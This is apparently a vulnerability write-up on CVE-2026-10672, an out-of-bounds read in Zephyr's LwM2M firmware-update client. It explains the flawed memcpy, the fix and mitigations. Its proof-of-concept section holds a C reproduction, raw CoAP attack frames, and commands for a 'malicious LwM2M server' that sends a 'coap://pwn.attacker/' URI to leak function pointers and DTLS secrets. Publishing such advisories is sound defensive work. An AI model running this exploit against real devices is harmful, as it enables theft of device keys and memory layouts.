HB Updated Jul 18, 2026

One Byte Short of Null: CVE-2026-10672 — Out-of-Bounds Read in Zephyr's LwM2M Firmware Update Client

A 200-byte Package URI, a 128-byte buffer, and an memcpy that copies exactly the destination size — the recipe for a silent memory leak out of a few hundred million IoT devices. No NUL terminator, no crash, no obvious overflow. Just a slow bleed of function pointers and DTLS secrets into outbound CoAP requests. CVSS 8.2.


Overview

On July 14, 2026, the Zephyr Project (a Linux Foundation–governed RTOS used across the embedded industry) published CVE-2026-10672, an out-of-bounds read in the LwM2M firmware-update pull client. The bug lives in a single line in subsys/net/lib/lwm2m/lwm2m_pull_context.c:

memcpy(context.uri, uri, LWM2M_PACKAGE_URI_LEN);

That line looks harmless — it copies exactly the size of the destination buffer. There is no obvious overflow. But when the server-supplied firmware URI is 128 bytes or longer, the copy fills every byte of context.uri[128] and leaves no room for a NUL terminator. Every later line of code that treats context.uri as a C string — strlen(), http_parser_parse_url(), and the CoAP PROXY_URI option builder — then reads past the buffer into the adjacent fields of the same struct: a flag, two function pointers, and the DTLS connection context. Those bytes end up appended to the very CoAP request the device sends out to fetch its “firmware”.

This is the kind of bug that survives code review because it reads like a non-bug. It is also the kind that survives fuzzing, because the over-read stays inside one static object and the only externally visible effect is a slightly-longer CoAP option. It was found and fixed by Zephyr maintainer Robert Lubos (Nordic Semiconductor) in commit 99a164df.

Vulnerability Classification

Field Value
CVE ID CVE-2026-10672
CVSS v3.1 8.2 HIGH
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
CWE CWE-125 — Out-of-bounds Read
Affected Component LwM2M firmware-update pull client, lwm2m_pull_context_start_transfer()
Affected File subsys/net/lib/lwm2m/lwm2m_pull_context.c
Attack Vector Network (via a malicious/compromised LwM2M server or on-path attacker)
Authentication None required at the application layer (see threat model)
User Interaction None required
Attack Complexity Low
Impact Information disclosure (memory/pointers/DTLS material), denial of service
Vulnerable Versions Zephyr v3.0.0 through v4.4.0 (main line); v3.7 LTS through v3.7.2
Fixed In Zephyr v4.4.1 and v4.3.1
Fix Commit 99a164df5cea5af76e32b57c6d51854f018969a2
Fix Author Robert Lubos (Nordic Semiconductor)
CNA Zephyr Project (vulnerabilities@zephyrproject.org)
Published Date 2026-07-14

What Is Zephyr, and Why Does This Matter?

Zephyr is an open-source real-time operating system governed by the Linux Foundation, designed for resource-constrained microcontrollers (ARM Cortex-M, RISC-V, Xtensa, ARC). It is backed and used in production by essentially every silicon vendor that matters in the MCU space — Nordic Semiconductor, NXP, TI, ST, Renesas, Infineon, Qualcomm, Espressif — and it ships in everything from wearables and smart-home endpoints to industrial sensors, building-automation controllers, and connected-vehicle gateways.

LwM2M (Lightweight Machine-to-Machine) is the OMA-published management protocol built on top of CoAP/UDP that those devices speak to a fleet-management platform. It is the standard way an IoT device registers with a server, reports telemetry, gets configuration pushed to it, and — most relevant here — pulls firmware updates.

The Firmware Update Object

LwM2M models device state as a tree of typed resources. Firmware update is OMA Object 5, and its key resources are:

Path Resource Type Meaning
/5/0/0 Package Opaque The firmware image itself (push).
/5/0/1 Package URI String A URI from which the device should pull the firmware (HTTP or CoAP).
/5/0/2 Update (Execute) Trigger the install after a download.
/5/0/3 State Integer Idle / Downloading / Downloaded.
/5/0/5 Update Result Integer Success / failure codes.

The pull path is /5/0/1 → device opens a connection to the URI → downloads the image → /5/0/2 to install. That is exactly the path CVE-2026-10672 corrupts.

LwM2M firmware-update architecture and where the bug lives


Technical Deep Dive

The Two Buffers

There are two string buffers in play, and the bug is the mismatch between them:

/* subsys/net/lib/lwm2m/lwm2m_obj_firmware.c */
#define PACKAGE_URI_LEN      255
static char package_uri[MAX_INSTANCE_COUNT][PACKAGE_URI_LEN];   /* /5/0/1 storage */

/* subsys/net/lib/lwm2m/lwm2m_pull_context.h */
#define LWM2M_PACKAGE_URI_LEN  CONFIG_LWM2M_SWMGMT_PACKAGE_URI_LEN   /* Kconfig: default 128 */

/* subsys/net/lib/lwm2m/lwm2m_pull_context.c */
static struct firmware_pull_context {
    uint8_t obj_inst_id;
    char    uri[LWM2M_PACKAGE_URI_LEN];   /* 128 bytes */
    bool    is_firmware_uri;
    void   (*result_cb)(uint16_t obj_inst_id, int error_code);
    lwm2m_engine_set_data_cb_t write_cb;
    struct lwm2m_ctx firmware_ctx;         /* DTLS session, sock_fd, PSK material */
    struct coap_block_context block_ctx;
} context;

When a management server writes /5/0/1, the engine stores the value in package_uri[255] — which comfortably holds up to 254 characters plus a NUL. The firmware object then hands that pointer to the pull client:

/* lwm2m_obj_firmware.c, on Package URI write */
lwm2m_firmware_start_transfer(obj_inst_id, package_uri[obj_inst_id]);

…which eventually calls:

/* lwm2m_pull_context.c, line ~444 */
memcpy(context.uri, uri, LWM2M_PACKAGE_URI_LEN);   /* = memcpy(context.uri, uri, 128) */

That is the whole bug, distilled: the source can hold 255 bytes, the destination holds 128, and the copy always copies 128 bytes regardless of how long the URI actually is. There is no length check.

Why “copies exactly the destination size” Is Still Wrong

The instinct on reading memcpy(dst, src, sizeof_dst) is “fine, it can’t overflow the destination”. And it can’t — the 128 bytes always fit. The problem is what the 128 bytes are:

  • If the URI is 43 bytes ("coap://firmware.example/oem/relay/2.1.4.bin"), memcpy still copies 128 bytes — the 43 real bytes plus a NUL plus whatever sits in the rest of the 255-byte source buffer. context.uri ends up NUL-terminated inside the buffer, so strlen(context.uri) == 43. Fine.
  • If the URI is 200 bytes, the first 128 bytes fill context.uri completely, the source’s NUL at position 200 is not copied, and context.uri has no terminator anywhere in its 128 bytes. Now strlen(context.uri) runs off the end.

So the trigger window is any Package URI of length 128 to 254 bytes — longer than the pull-context buffer, shorter than the resource storage. That is a perfectly legal value from the protocol’s perspective; nothing in LwM2M forbids a 200-byte URI.

The Leaky Consumers

Three call sites downstream treat context.uri as a NUL-terminated C string and all of them over-read:

/* transfer_request(), lwm2m_pull_context.c */

if (strncmp(context.uri, "http", 4) == 0) { ... }                 /* bounded — fine    */
...
ret = http_parser_parse_url(context.uri, strlen(context.uri), 0, &parser);  /* strlen over-reads */
...
ret = coap_packet_append_option(&msg->cpkt, COAP_OPTION_PROXY_URI,
                                context.uri, strlen(context.uri));           /* leak goes on wire */

The last one is the one that matters for exfiltration. The CoAP PROXY_URI option (RFC 7252, option 35) tells a CoAP proxy which resource to fetch. The device builds this option with a length of strlen(context.uri) — which, after the bug, is 128 plus however many bytes strlen walks into the adjacent struct fields before it happens to find a 0x00. Those extra bytes — the contents of is_firmware_uri, struct padding, the result_cb and write_cb function pointers, and part of firmware_ctx (which carries the socket fd and DTLS PSK identity/secret) — are now literally on the network, inside an otherwise-ordinary CoAP request aimed at an attacker-controlled host.

struct firmware_pull_context memory layout and the strlen over-read

The Fix

The patch (commit 99a164df) is a seven-line change (+7 −1) — validate the length first, then use a bounded copy:

+   if (strlen(uri) >= sizeof(context.uri)) {
+       LOG_ERR("URI too long, maximum supported length is %zu characters",
+           sizeof(context.uri) - 1U);
+       return -ENOMEM;
+   }
+
    ret = start_service();
    ...
-   memcpy(context.uri, uri, LWM2M_PACKAGE_URI_LEN);
+   strcpy(context.uri, uri);

Two things to note. First, the length check now uses sizeof(context.uri) — the destination size — rather than the protocol-level LWM2M_PACKAGE_URI_LEN constant, which until the fix happened to equal the destination size but was conceptually the wrong thing to reason about. Second, once the length is validated, strcpy is actually safer than the original memcpy, because strcpy guarantees the NUL terminator that memcpy was silently dropping. That is the real lesson: memcpy(dst, src, sizeof_dst) is not “the safe version of strcpy” — it is a different bug when the contract requires a NUL terminator.


Exploitation Considerations

Threat Model

Because the vulnerable code is on the client side (the device pulling firmware), the attacker controls the trigger by controlling the URI the device is told to fetch. That maps to two realistic adversaries:

  1. A malicious or compromised LwM2M management server. Fleet platforms get breached, supply-chain attacks happen, and a rogue server is a single compromised credential away from pushing a 200-byte Package URI to an entire device fleet simultaneously. No DTLS bypass required — the server is supposed to write /5/0/1.
  2. An on-path attacker when DTLS server authentication is not enforced. LwM2M runs over CoAP/UDP port 5683 (NoSec) or 5684 (DTLS). Devices deployed in NoSec mode — or in DTLS mode without server-certificate validation — let an on-path attacker rewrite the Package URI in flight.

In both cases the attacker also gets to receive the leak, because the device’s leaky CoAP request is addressed to the URI the attacker just wrote.

Attack Flow

End-to-end attack flow

The whole thing is a handful of CoAP messages. There is no memory-corruption primitive to land, no shellcode, no ROP chain — the attacker simply reads the response.

Why Embedded Is Different (and Why This Leak Is Nastier Than It Looks)

Leaked function-pointer bytes sound abstract. On an embedded target they are not:

Factor Linux server Embedded MCU (Cortex-M / RISC-V)
ASLR Enabled Rare (many cores have no MMU)
Memory layout Randomized per run Fixed per firmware image
Function-pointer bytes One pointer among millions A direct ASLR-defeating code pointer
DTLS keying material In a separate process/keyring Often inline in the connection struct

The result_cb / write_cb pointers leaked here are absolute code addresses in a fixed, non-randomized address space. Anyone reverse-engineering a given firmware image can map those bytes back to an exact symbol — which instantly defeats what little ASLR an MCU build might have, and hands an attacker a precise memory map for chaining into a write primitive later. And because firmware_ctx travels in the same struct, the same over-read can crop the device’s DTLS PSK identity out of the leak, which is a stepping stone to impersonating the device.

Why It Slipped Past the Tooling

This bug is a textbook example of why fuzzing and sanitizers are not a substitute for code review:

  • It is an intra-object over-read. strlen(context.uri) reads past the uri field but stays inside the context struct. AddressSanitizer tracks object boundaries, not struct fields, so ASan only fires if strlen happens to walk past the entire struct into a redzone — which depends on whether any of the adjacent fields contains a 0x00. In many real builds, a zero byte in a pointer or a flag stops the read inside the struct and ASan sees nothing. (The PoC below has a dedicated probe that forces the read across an allocation boundary so ASan catches it unambiguously.)
  • There is no crash. Unless strlen walks a very long way and hits an unmapped page, the device keeps running. No fault, no log, no reboot — just a slightly-longer CoAP option.
  • The output is on a session the device opened itself. The leak looks like normal traffic to a network monitor.

Affected Products

Zephyr is a library/RTOS integrated into vendor firmware. The vulnerable code was introduced by the pull-context refactor first released in Zephyr v3.0.0 and is present through v4.4.0 on the main release line; the v3.7 LTS branch carries the same memcpy through at least v3.7.2 (the current LTS at the time of disclosure). The fix shipped in v4.4.1 and v4.3.1.

Devices affected are any Zephyr-based product that:

  • enables the LwM2M firmware-update pull path (CONFIG_LWM2M_FIRMWARE_UPDATE_PULL_SUPPORT=y, which is the Kconfig default), and
  • accepts /5/0/1 writes from a server or over a session an attacker can influence.

That sweeps in a broad swath of the Zephyr ecosystem — Nordic-based connected sensors, NXP/TI industrial controllers, smart-home endpoints, and any OEM device that pulls OTA images over LwM2M. Devices pinned to the v3.7 LTS are particularly exposed, since the fix had not landed on that branch at the time of writing and vendors must cherry-pick it manually.


Remediation

Patch

Upgrade to Zephyr v4.4.1 (or v4.3.1 on the 4.3 line), or cherry-pick the fix onto your branch:

$ git remote add zephyr-upstream https://github.com/zephyrproject-rtos/zephyr.git
$ git fetch zephyr-upstream
$ git cherry-pick 99a164df5cea5af76e32b57c6d51854f018969a2

Mitigation (if you cannot upgrade immediately)

  1. Cap the Package URI at the engine. The cleanest non-source mitigation is to reject /5/0/1 writes longer than your real firmware-URI length well before the pull path runs. Legitimate firmware URIs are short (coaps://ota.oem.com/<image> is a few dozen bytes); a 128-byte URI is a red flag.
  2. Enforce DTLS mutual authentication. Make sure device-side DTLS validates the server certificate against a pinned trust anchor. That closes the on-path variant outright.
  3. Network segmentation. LwM2M management (UDP 5683/5684) should never be reachable from untrusted networks; restrict it to the management VLAN.
  4. Alert on anomalous PROXY_URI lengths. Because the leak manifests as an oversized CoAP option on outbound traffic, a CoAP-aware IDS rule on PROXY_URI > 128 bytes catches exploitation even on devices you have not yet patched.

For Device Vendors

If you ship Zephyr-based firmware:

  1. Check your Zephyr version — if it is in the v3.0.0–v4.4.0 window and you enable LwM2M firmware pull, you are vulnerable.
  2. Confirm CONFIG_LWM2M_FIRMWARE_UPDATE_PULL_SUPPORT and CONFIG_LWM2M_SWMGMT_PACKAGE_URI_LEN in your prj.conf (the default of 128 is the vulnerable size; raising it moves the trigger point but does not fix the class of bug — apply the patch).
  3. Issue a firmware update containing the fix and audit other memcpy(dst, src, sizeof_dst) sites that feed C-string consumers.

Proof of Concept

https://github.com/Hunt-Benito/zephyr-lwm2m-firmware-update-oob-read-cve-2026-10672-truncated-package-uri

The PoC has two parts: a standalone C reproduction of the exact vulnerable and fixed code paths, and a minimal LwM2M server that delivers the over-sized Package URI over CoAP. Both are dependency-free.

The C Reproduction

The harness re-declares struct firmware_pull_context faithfully (the 128-byte uri plus the adjacent fields that get over-read) and the leaky CoAP PROXY_URI consumer. Adjacent memory is poisoned with a recognisable marker and the firmware_ctx is seeded with a stand-in DTLS PSK so the leak is visible:

/* the exact buggy line from Zephyr v3.0.0 .. v4.4.0 */
static int pull_start_vulnerable(const char *uri) {
    memcpy(context.uri, uri, LWM2M_PACKAGE_URI_LEN);   /* copies exactly 128 bytes */
    build_proxy_uri_option();                           /* strlen(context.uri) over-reads */
    return 0;
}

/* mirrors: coap_packet_append_option(.., COAP_OPTION_PROXY_URI, context.uri, strlen(context.uri)) */
static void build_proxy_uri_option(void) {
    proxy_uri_option_len = strlen(context.uri);         /* <-- the out-of-bounds read */
    memcpy(proxy_uri_option, context.uri, proxy_uri_option_len);
}

Build and run:

$ gcc -O0 -g -o poc poc.c
$ ./poc
== context.uri buffer size: 128 bytes (CONFIG_LWM2M_SWMGMT_PACKAGE_URI_LEN) ==
== /5/0/1 resource storage: 255 bytes ==

[VULN 43-byte URI] PROXY_URI option length = 43 (context.uri buffer = 128 bytes)
    (option matches the URI exactly, no overread)

[VULN 200-byte URI] PROXY_URI option length = 141 (context.uri buffer = 128 bytes)
    !! OOB READ: 13 bytes leaked past context.uri
    PROXY_URI option sent on the wire (141 bytes):
    0000  63 6f 61 70 3a 2f 2f 70 77 6e 2e 61 74 74 61 63  |coap://pwn.attac|
    0010  6b 65 72 2f 41 41 41 41 41 41 41 41 41 41 41 41  |ker/AAAAAAAAAAAA|
    ...
    0070  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    0080  01 5a 5a 5a 5a 5a 5a 69 22 77 c2 b3 61           |.ZZZZZZi"w..a|
    -> bytes after offset 0x80 are context.is_firmware_uri, the
       result_cb/write_cb FUNCTION POINTERS, and DTLS PSK material.
       They are now on their way to the attacker's CoAP server.

[FIXED 200-byte URI] return code = -12 (-ENOMEM = -12)
    -> URI rejected before the copy; proxy_uri_option stays empty (0 bytes)

The hexdump tells the whole story. Offset 0x000x7f is the attacker’s 128 URI bytes. Offset 0x80 onward is the leak: 01 is is_firmware_uri, the 5a bytes are poisoned padding, and the trailing six bytes are the low bytes of a function pointer — a direct, ASLR-defeating code address in a fixed-layout firmware image. (The exact pointer bytes change between runs on a hosted build because of ASLR; on real fixed-layout MCU firmware they are constant per image.)

ASan Confirmation

To remove any doubt that this is a genuine out-of-bounds read, the ASan build allocates exactly 128 bytes, fills them with non-NUL bytes (mirroring a full context.uri with no terminator), and calls strlen():

$ gcc -O0 -g -fsanitize=address -o poc-asan poc.c
$ ./poc-asan
==...==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 129 at 0x... thread T0
    #0 ... in strlen
    #1 ... in main poc.c:223
0x... is located 0 bytes after 128-byte region [0x...,0x...)

READ of size 129 ... 0 bytes after 128-byte regionstrlen stepped one byte past the allocation. That is exactly what the consumer does to context.uri in the real bug.

The Malicious LwM2M Server

The second component, lwm2m_evil_server.py, plays the attacker’s role over the network: it writes a 200-byte Package URI to /5/0/1 and then executes /5/0/2 to start the pull. The CoAP frames are hand-encoded so the wire format is explicit:

PUT /5/0/1  (Content-Format: text/plain)   213 bytes
 40 03 00 01  b1 35  01 30  01 31  11 00  ff  63 6f 61 70  ...
 ^^ CON PUT     "5"   "0"   "1"   cf=0  ^1  "coap://pwn.attacker/AAAA..."

POST /5/0/2  (Execute Update — starts the pull)
 40 02 00 02  b1 35  01 30  01 32
$ python3 lwm2m_evil_server.py --dry-run --uri-len 200
[*] Package URI length: 200 bytes (triggers OOB read when >= 128)
[1] CoAP PUT /5/0/1 (Write Package URI) (213 bytes):
    0000  40 03 00 01 b1 35 01 30 01 31 11 00 ff 63 6f 61  |@....5.0.1...coa|
    ...
[2] CoAP POST /5/0/2 (Execute Update — starts the pull) (10 bytes):
    0000  40 02 00 02 b1 35 01 30 01 32                    |@....5.0.2|

$ python3 lwm2m_evil_server.py --target 10.0.0.42 --port 5683 --uri-len 200 --listen 2

Attention! This PoC is for authorised security research only. Do not run it against devices you do not own or have explicit permission to test.


The Bigger Picture: When “the Safe memcpy” Isn’t

There is a well-meaning rule of thumb that says “use memcpy(dst, src, sizeof(dst)) instead of strcpy, it’s bounded”. CVE-2026-10672 is a clean counter-example: the memcpy was bounded to the destination size, and it was still wrong, because the surrounding code assumed a NUL-terminated string. memcpy and strcpy have different contracts — memcpy copies exactly N bytes and does not care about terminators; strcpy copies up to and including a NUL. Using the bounded-but-terminator-blind one in a terminator-dependent context trades an overflow for a quieter, harder-to-detect over-read.

This places the bug in a familiar family of embedded memory-handling defects that only show themselves under careful review. We looked at a nastier sibling of this class — a stack overflow in lwIP’s SNMPv3 handler, where a commented-out bounds check let a single UDP packet corrupt a microcontroller’s stack — in our earlier article on CVE-2026-8836. The pattern repeats: small string-handling mistakes in RTOS-class networking code produce disproportionately large blast radius, because the targets run without ASLR, without stack canaries, and without a security team watching the CoAP options.

The practical takeaways, if you maintain embedded or IoT code:

  • Treat every memcpy into a buffer that is later used as a C string as suspicious. Either validate the length first and copy with strcpy/strncpy+explicit-terminate, or use a strlcpy/snprintf equivalent. The Zephyr fix is a model of the correct shape: if (strlen(src) >= sizeof(dst)) return -ENOMEM; strcpy(dst, src);
  • Don’t trust “bounded copy” as a synonym for “safe”. A bounded copy that drops a terminator is an over-read waiting to happen.
  • Assume your fuzzers miss intra-object over-reads. They usually do. Code review still earns its keep here.

SOURCES